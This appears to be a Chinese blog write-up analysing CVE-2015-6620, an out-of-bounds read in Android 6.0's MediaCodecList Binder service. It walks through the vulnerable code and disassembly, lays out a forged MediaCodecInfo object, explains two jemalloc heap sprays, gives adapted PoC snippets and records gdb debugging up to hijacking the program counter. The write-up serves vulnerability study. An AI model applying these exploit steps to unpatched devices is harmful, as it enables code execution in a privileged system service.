zoukankan      html  css  js  c++  java
  • [转组第11天] | CVE-2015-6620学习总结

    2018-05-24

    前言

    想学习android漏洞方面的知识,Flanker Edward在知乎上有个回答,提出了binder的经典漏洞cve-2015-6620,所以就从这个漏洞开始学习,作者提供了poc和文档,这篇笔记主要发分析一下漏洞,以及记录第一次调试android漏洞遇到的问题。

    环境搭建与基础知识

    1. android源码环境:Ubuntu16.04 andoird_6.0.0_r1
    2. gdb调试环境的搭建
    3. peda-arm安装,调试界面更方便
    4. Shadow安装,方便调试jemalloc

    这个是android平台上binder方面的漏洞,所以涉及到一些android的底层知识需要学习一下

    1. Binder
    2. 智能指针
    3. Jemalloc

    关于基础知识有别的文档总结介绍。

    Gdb调试环境的搭建:

    android eng版本中自带的gdb版本太低,不支持python,而且gdb使用的内置python,版本一般较低,不适合安装peda-arm和shadow插件等。

    这里建议gdbserver使用shadow自带的gdbserver32,并且按照shadow文档里面下载编译gdb7.11,(注意:gdb版本和gdbserver版本要对应)。我这里编译的是arm-eabi-linux版本。

    (曾尝试下载gdb官方软件包,用android的独立工具链进行编译,各种错误,所以就按shadow文档中所写,要clone google toolchain/gdb,按照文档步骤编译。但是这样只生成了gdb7.11,没有生成gdbserver,猜测gdbserver还是需要工具链编译?这里就只使用了shadow自带的gdbserver32[version 7.11].)

    漏洞成因

    CVE-2015-6620包含两个漏洞,编号分别为24123723和24445127,这里主要分析的是24445127MediaCodecInfo越界访问。

    漏洞存在于MediaCodecList服务。该Binder服务提供了一个getCodecInfo的功能,

    (MeidaCodecList服务:允许枚举可用的编解码器,每个指定为MediaCodecInfo对象。

    getCodecInfo获取指定下标编解码器信息。)

    存在漏洞的代码如下:

     1 //http://androidxref.com/6.0.0_r1/xref/frameworks/av/media/libmedia/IMediaCodecList.cpp#54
     2 
     3 status_t BnMediaCodecList::onTransact(
     4     uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags)
     5 {
     6     switch (code) {
     7 
     8         case GET_CODEC_INFO:
     9         {
    10             CHECK_INTERFACE(IMediaCodecList, data, reply);
    11             size_t index = static_cast<size_t>(data.readInt32());
    12             const sp<MediaCodecInfo> info = getCodecInfo(index); //调用服务端的实现
    13             if (info != NULL) {
    14                 reply->writeInt32(OK);
    15                 info->writeToParcel(reply);
    16             } else {
    17                 reply->writeInt32(-ERANGE);
    18             }
    19             return NO_ERROR;
    20         }
    21 
    22         break;

    从Parcel中读取从客户端传来的索引,然后调用在服务端实现的getCodecInfo,看下在MediaCodecList中实现的getCodecInfo:

    1 //http://androidxref.com/6.0.0_r1/xref/frameworks/av/include/media/stagefright/MediaCodecList.h#49
    2 
    3 struct MediaCodecList : public BnMediaCodecList {
    4 
    5     Vector<sp<MediaCodecInfo> > mCodecInfos;
    6      virtual sp<MediaCodecInfo> getCodecInfo(size_t index) const {
    7         return mCodecInfos.itemAt(index);   // 未进行任何边界检查
    8     }
    9 }

    其中mCodecInfos是MeidaCodecList的私有成员:

    1 struct MediaCodecList : public BnMediaCodecList {
    2 private:
    3      ...
    4      Vector<sp<MediaCodecInfo> > mCodecInfos;
    5      sp<MediaCodecInfo> mCurrentInfo;
    6      ...

    可以看到直接调用了vector的itemAt函数,并未进行任何边界检查,而index是我们客户端程序可以控制的,这地方就存在一个越界访问漏洞。

    注意:一旦发生越界访问,mediaserver会崩溃重启,但是异常会被捕获由于地址不可访问之类。该poc程序的主要目的是实现pc寄存器的控制。

    poc的基本思路是在Vector<sp<MediaCodecInfo>>后面添加伪造的sp<MediaCodecInfo>,使其指向我们伪造的MediaCodecInfo对象:

    但是这样感觉顶多就是返回一个我们预设的fake MediaCodecInfo对象信息,如何获取pc寄存器的控制呢?

    漏洞利用:

    根据漏洞的成因,我们现在有这样一个能力:可以越界访问Binder服务所在进程中的一个Vector<sp<MediaCodecInfo>>,但是只能读取不能写入。漏洞作者利用这样一种能力可以实现任意地址读取和pc寄存器的控制。下面主要分析pc控制的原理。在分析poc原理前,需要了解相关对象在内存中的布局,如下图所示:

     

    pc control poc原理分析:

    一个越界读可以造成pc的控制,关键在于getCodecInfo的调用:

    const sp<MediaCodecInfo> info = getCodecInfo(index);

    1 //sp 拷贝构造函数
    2 template<typename T>
    3 sp<T>::sp(const sp<T>& other)
    4 : m_ptr(other.m_ptr)
    5   {
    6     if (m_ptr) m_ptr->incStrong(this);
    7   }

    上面的代码是用getCodecInfo函数的返回值新建了一个info对象,这就会调用info的拷贝构造函数。info的类型为sp,sp的拷贝构造函数如上所示。可以看看getCodecInfo的汇编版本,像这样返回对象的函数,一般会把R0指向返回对象保存的地址。

     1 //libstagefright.so
     2 
     3 .text:000A9478 ; android::sp<android::MediaCodecInfo> __usercall android::MediaCodecList::getCodecInfo@<R0>(const android::MediaCodecList *this@<R1>, size_t index@<R2>)
     4 
     5 .text:000A9478 return_obj = R0                         ;保存的就是上面info的地址
     6 .text:000A9478 this = R1                               ; const android::MediaCodecList *
     7 .text:000A9478 index = R2                              ; size_t
     8 .text:000A9478                 PUSH.W          {R11,LR}
     9 .text:000A947C                 MOV             R3, R0
    10 .text:000A947E                 LDR             R0, [this,#0x5C]
    11 .text:000A9480                 LDR.W           R0, [R0,index,LSL#2] ; 这里可以越界读取
    12 .text:000A9484                 STR             R0, [R3]; 设置info.m_prt
    13 .text:000A9486                 CMP             R0, #0
    14 .text:000A9488                 ITT NE
    15 .text:000A948A                 MOVNE           this, R3 ; 调用info的拷贝构造函数,因为inline优化直接调用了(info.m_ptr)->incStrong()
    16 .text:000A948C                 BLXNE           _ZNK7android7RefBase9incStrongEPKv ; android::RefBase::incStrong(void const*)
    17 .text:000A9490                 POP.W           {R11,PC}
    18 .text:000A9490 ; End of function android::MediaCodecList::getCodecInfo(uint)

    可以看到会将vector的内容读取到R0中,如果R0不为0,会调用incStrong,代码如下:

     1 //http://androidxref.com/6.0.0_r1/xref/system/core/libutils/RefBase.cpp#322
     2 
     3 
     4 void RefBase::incStrong(const void* id) const
     5 {
     6 
     7     weakref_impl* const refs = mRefs;
     8     refs->incWeak(id);
     9  
    10     refs->addStrongRef(id);
    11     const int32_t c = android_atomic_inc(&refs->mStrong);
    12     ALOG_ASSERT(c > 0, "incStrong() called on %p after last strong ref", refs);
    13 #if PRINT_REFS
    14     ALOGD("incStrong of %p from %p: cnt=%d
    ", this, id, c);
    15 #endif
    16     if (c != INITIAL_STRONG_VALUE)  {
    17         return;
    18     }
    19 
    20  
    21     android_atomic_add(-INITIAL_STRONG_VALUE, &refs->mStrong);
    22     refs->mBase->onFirstRef(); //这里有虚函数的调用
    23 
    24 }

    汇编代码版本,可以清楚看到存在虚函数的调用:

     1 // libutils.so
     2 
     3 .text:0000E6BE ; void __fastcall android::RefBase::incStrong(const android::RefBase *const this, const void *id)
     4 .text:0000E6BE                 EXPORT _ZNK7android7RefBase9incStrongEPKv   
     5 .text:0000E6BE                                        
     6 .text:0000E6BE this = R0                                         ; const android::RefBase *const
     7 .text:0000E6BE id = R1                                           ; const void *
     8 .text:0000E6BE                 PUSH            {R4,LR}
     9 .text:0000E6C0                 LDR             R4, [this,#4]     ;this存放的就是越界读取的内容
    10 .text:0000E6C2 refs = R4                               ; android::RefBase::weakref_impl *const
    11 .text:0000E6C2                 MOV             this, refs ; this
    12 .text:0000E6C4                 BLX             j__ZN7android7RefBase12weakref_type7incWeakEPKv ;
    13 .text:0000E6C8                 DMB.W           SY
    14 .text:0000E6CC                 LDREX.W         R3, [refs]
    15 .text:0000E6D0                 ADDS            R2, R3, #1
    16 .text:0000E6D2                 STREX.W         R1, R2, [refs]
    17 .text:0000E6D6                 CMP             R1, #0
    18 .text:0000E6D8                 BNE             loc_E6CC
    19 .text:0000E6DA                 CMP.W           R3, #0x10000000
    20 .text:0000E6DE                 BNE             locret_E700
    21 .text:0000E6E0                 DMB.W           SY
    22 .text:0000E6E4                 LDREX.W         R0, [refs]
    23 .text:0000E6E8                 ADD.W           R12, R0, #0xF0000000
    24 .text:0000E6EC                 STREX.W         R3, R12, [refs]
    25 .text:0000E6F0                 CMP             R3, #0
    26 .text:0000E6F2                 BNE             loc_E6E4
    27 .text:0000E6F4                 LDR             R0, [refs,#8]
    28 .text:0000E6F6                 LDR             refs, [R0]  ; vtable
    29 .text:0000E6F8                 LDR             R2, [R4,#8] ; 可以通过这里控制pc
    30 .text:0000E6FA                 POP.W           {R4,LR}
    31 .text:0000E6FE                 BX              R2

    梳理一下就是,越界读取的内容放入R0,然后进行如下操作:

    1 refs = [R0 + 4]
    2 if ([refs] == 0x10000000)
    3     mbase = [refs + 8]
    4     vtable = [mbase]
    5     call [vtable + 8]

     也就是说如果我们在内存中伪造了合适的MediaCodecInfo,并且将指向该伪造的MediaCodecInfo的指针放入vector<sp<MediaCodecInfo>>存储区的后面,这样我们可以通过越界访问,读取到指向该伪造的MediaCodecInfo的指针,进而控制PC。我们可以在内存还总伪造如下的MediaCodecInfo:

    1 //BASEADDR 为假MediaCodecInfo的起始地址
    2 *(BASEADDR) = vtale; //设置MediaCodecInfo vtable 随便填写
    3 *((unsigned int *)BASEADDR + 1) = BASEADDR + 12;     //mRefs, 使他指向BASEADDR + 12
    4 *((unsigned int *)BASEADDR + 3) = 0x10000000;        //mRefs指向此处,即虚假的info->mRefs的起始地址
    5 *((unsigned int *)BASEADDR + 5) = BASEADDR + 0x20;   //info->mRefs->mBase字段,使他指向BASEADDR + 0x20
    6 *((unsigned int*)BASEADDR + 8) = BASEADDR + 0x20 + 4;  //mBase的vtable字段,使他指向BASEADDR + 0x20 + 4
    7 *((unsigned int*)BASEADDR + 11) = 0x61616161;          //vtable +8, 我们可以在此处放置目标pc

    注意,这里并未构建完整的MediaCodecInfo而是顺着把虚函数调用过程使用的参数全部构造出来放在一起,如下图:

     

    小结:

    所以基本的利用思路,就是构建一个假的MediaCodecInfo对象,在getCodecInfo函数返回一个新的sp<MediaCodecInfo>对象时,需要调用sp的拷贝构造函数,需要把假的MediaCodecInfo对象强引用加1,调用incStrong函数,incStrong函数内部又会调用onfirstRef虚函数。由于MediaCodecInfo对象是我们构造的,我们就可以进一步构造其父类以及Vtable指向,最终篡改Vtable中Refbase::onFirstRef的地址为我们想让其访问的地址0x61616161。

    那如何让poc程序在mediaServer进程中构造假的MediaCodecInfo对象呢?又如何通过数组越界访问到我们构造的MeidaCodecInfo对象。下面陈述一下poc实现漏洞的原理。

    Poc的原理:

    要成功的运行poc实现漏洞利用的目的,要进行两次堆喷射,第一次是将我们伪造的MediaCodecInfo喷射到内存中,第二次是将我们伪造的MeidaCodecInfo的地址喷射到Vector<sp<MediaCodecInfo>>的存储区的后面,这样就可以通过越界读取,来触发漏洞。

    第一步堆喷射喷射了0x1200次,在我的环境(Android6.0.0_r1 arm-eng)下,每个region大小为0x1800。喷射的占用的run会覆盖0xb3005000地址,且正好是块头。所以我们选择0xb3005010作为BASEADDR,前16个字节是因为Vector从存储到SharedBuffer上,SharedBuffer的私有成员有16字节。

    第二步堆喷射需要将指向MediaCodecInfo的指针喷射到Vector<sp<MediaCodecInfo>>的存储区的后方,

    作者的方法是:Vector的存储区肯定是jemalloc分配的,肯定是落在某个大小的region内,所以作者首先计算出这个大小,后面堆喷射时,喷射出大量相同大小的region,这个样后面越界的ulu就会有很大概率命中。所以关键步骤就是:

      计算Vector<sp<MediaCodecInfo>>的存储区所在region大小

      确保堆喷射时,分配的是相同大小的region.

    通过调试发现vector<sp<MediaCodecInfo>>的存储区所在region大小和作者中poc给的一直,但是在调试时发现堆喷射的payload并没有落在大小为160的region内,而是在0x100的region内。

    将其修改为96就可以保证分配在160region中。

    调试分析:

    下面记录调试细节,由于是第一次调试。

    调试环境:

      Android6.0.0_r1 模拟器

      修改后的poc以及程序

      gdb7.11和gdbserver7.11

    修改POC代码:

    因为作者是在android5.1上测试的,有些硬编码的值不适用于android6.0.0r1。

    1 void setupRawBufForPControl(char* buf)
    2 {
    3     const unsigned int BASEADDR = 0xb3005010;

    把BASEADDR地址改了,原来是0xb3003010,在调试过程中发现并不能喷射到0xb3003010,选择另外一个相对稳定的BASEADDR即可。这里选择的0xb3005010,注意0x10是预留给SharedBuffer私有成员的,调试就能发现。

    1 void setupRawBufForZone160(char* buf)
    2 {
    3     for(size_t i=0; i< 96/ sizeof(int); i++)
    4     {
    5         *((unsigned int*)buf + i) = 0xb3005010;
    6     }
    7 }

    同样把硬编码值修改了,还有就是把payload的长度改为96,以便分配到160大小的region上,跟vector<sp<MediaCodecInfo>>region相同,都在region大小为0xa0的run里。这样大概率能越界访问到BASEADDR。

    1 printf("[+]spraying zone160");
    2     //now spray SIZE 160
    3     const size_t ZONESIZE = 96;

    这个还是修改payload长度。位于main函数中。

    修改完POC源码后,利用mmm重新编译POC。

     编译完成后会生成poc程序在out目录下,我这里用的是sysmbols/system/bin目录下poc程序,它比system/bin目录下的poc程序大很多,包含符号信息。

    下面开始调试:

    1. 开启模拟器

    1 cd source(android源码目录)
    2 source build/envsetup.sh
    3 lunch 1
    4 emulator

    2. 预计最少需要4个终端,一个终端使用gdb调试,一个终端运行poc,一个终端运行gdbserver。还有一个终端开启模拟器(step 1)。终端的操作

     1) 第一步模拟器已经开了。

     2) POC终端

    1 adb remount
    2 adb push /home/wql/下载/shadow-master/bin/gdbserver32 /system/bin/
    3 adb push poc /system/bin/
    4 adb forward tcp:1234 tcp:1234
    5 adb shell ps | grep media

     注意adb shell ps | grep media也可以先adb shell 之后,在android终端下再ps|grep media,这个调试时会时不时用到,因为一旦执行poc越界访问,访问到非法地址都会造成mediaserver崩溃,mediaserver都会崩溃重启,PID会改变,每次调试完之后,都要ps|media,来查询mediaserver的新PID,用于gdbserver附加。

    下面执行poc

    1 adb shell
    2 poc

    这里poc程序专门写了一个getchar()便于我们attach到mediaserver,执行完这一步,MediaCodecInfo已经被分配到mediaserver的堆中了,稍后可以查看。 

    3) gdbserver终端

    经过poc终端的配置,gdbserver终端的配置就很简单了,就是启动gdbserver附加到mediaserver即可。

    1 adb shell
    2 gdbserver32 :1234 --attach 67

    4) gdb终端 

    1 ./gdb  /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/bin/mediaserver

     执行完毕后,如下图,从mediaserver中读取了符号表。

    接着设置库文件的查询路径:

    1 set solib-search-path /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/lib
    2 set solib-absolute-prefix  /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/lib

     接着连接远程调试端口:

    1 target remote:1234

    会发现它从设置的lib路径读取了它所需的so文件。此时的源文件也都能跟本地对应上,可以使用info sources命令查看。

    接着加载shadow插件:

    1 source /home/wql/下载/shadow-master/gdb_driver.py
    2 jeparse -c /home/wql/下载/shadow-master/cfg/android6_32.cfg

    第二句命令是选择对应版本的配置。

     

    接下来是下断点:

    1 #b frameworks/av/include/media/stagefright/MediaCodecList.h:50
    2 b android::MediaCodecList::getCodecInfo(unsigned int) const

     这里可以选择下源文件按行下断点,也可以直接下函数的断点,这里推荐下函数的断点,这样会准确的停到函数入口。

    现在已经一切都准备完成了,接下来可以直接continue...,查看运行结果。不过在此之前我们可以先用shadow看看jemalloc的堆使用情况。

    1 jeruns

    这里可以看到已分配的run信息,我们重点关注0xb3005010所在run.可以看到并没有包含0xb3005010的run,这就出现了问题,说明我们选择的地址并不算太稳定。这种情况,在mediaserver崩溃过一次之后才解决。这说明地址选的还是不够稳定。 

     

    我们先看一下region内容:

     

    可以看到前0x10个字节是sharedbuffed的私有成员信息,所以我们baseaddr选择0xXXXXXX10开始。这里有0x1200个0x1800region全部是我们第一次喷射进堆的块。可以看到在0xb3005010处我们的MediaCodeInfo对象已经布置好了。

    我们退出gdb调试,再在程序输入index位置处重新附加:

     

    重新启动gdbserver附加mediaserver进程。

    继续查看jeruns分布

    如上图所示,其实此时0xa0大小region所在run就是Vector<sp<MediaCodecIndo>>所在的run。我们下好getCodecInfo的断点,continue:

    1 continue

    在poc程序中输入84:

    会发现触发了gdb中getCodecInfo的断点:

     

    我们打印mCodecInfos变量:

    1 print mCodecInfos

    可以看到它存储在mStorage =0xb60d5d30,就是位于我们上面所提的0xa0大小region的run。

    1 jerun 0xb60d5000

     

    可以看到Vector<sp<MediaCodecIndo>>所在的region。 

    查看Vector<sp<MediaCodecIndo>>对象内容:

    1 x/100xw 0xb60d5d30

    可以看到输入84可以访问到0xb3005010数据。从而能访问到0xb3005010存储的MediaCodecInfo对象。 

    继续continue,就可以看到成功访问到预设的地址0x616161,达到了控制PC的目的:

     

    到此就表明POC已经执行成功了。由于0x61616161处没有预设代码,所以跟正常越界访问一样,也会造成崩溃重启。

    我们可以发现的第二次堆喷射的分配的大小保证了Vector<sp<MediaCodecIndo>>所在的region大小一致,就有很大的机率放置到Vector<sp<MediaCodecIndo>>所在的region的后面,用于越界访问。

     

     参考和感谢:(glider菜鸟 )

    https://bbs.pediy.com/thread-226699.htm

  • 相关阅读:
    一步步学习SPD2010--第三章节--处理列表和库
    《python深度学习》笔记---2.4、神经网络的“引擎”:基于梯度的优化
    《python深度学习》笔记---2.1-2.3、神经网络的数学基础
    【tensorflow2.0】模型层layers
    《python深度学*》笔记---1.3、为什么是深度学*,为什么是现在
    XGBoost是什么
    梯度提升决策树 算法过程
    集成方法中的梯度提升回归树(梯度提升机)模型
    《python深度学习》笔记---1.2、深度学习之前:机器学习简史
    《python深度学习》笔记---1.1、人工智能、机器学习与深度学习
  • 原文地址:https://www.cnblogs.com/nww-570/p/9085159.html
Copyright © 2011-2022 走看看